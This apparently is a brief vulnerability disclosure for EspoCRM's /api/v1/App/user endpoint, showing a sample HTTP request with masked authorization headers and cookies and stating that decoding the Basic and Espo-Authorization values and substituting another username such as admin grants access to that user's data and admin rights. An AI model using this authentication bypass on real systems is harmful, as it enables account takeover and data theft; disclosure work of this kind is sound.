Details:
--------------------------------------------
1- When we sent a request to the /api/v1/App/user, we can see user details
---
First Request:
---------------------------
GET /api/v1/App/user HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 *************************
Authorization: Basic *************************************
Espo-Authorization: *************************************
Espo-Authorization-By-Token: true
X-Requested-With: XMLHttpRequest
DNT: 1
Connection: close
Cookie: auth-token-secret=cdc7f7*********************377;
auth-username=user1; auth-token=3a874a********************************48

2- When we decode Basic Authorization and Espo-Authorization and change the
value with another username (like admin) in the first request, we can see
other user information and access like BOSS
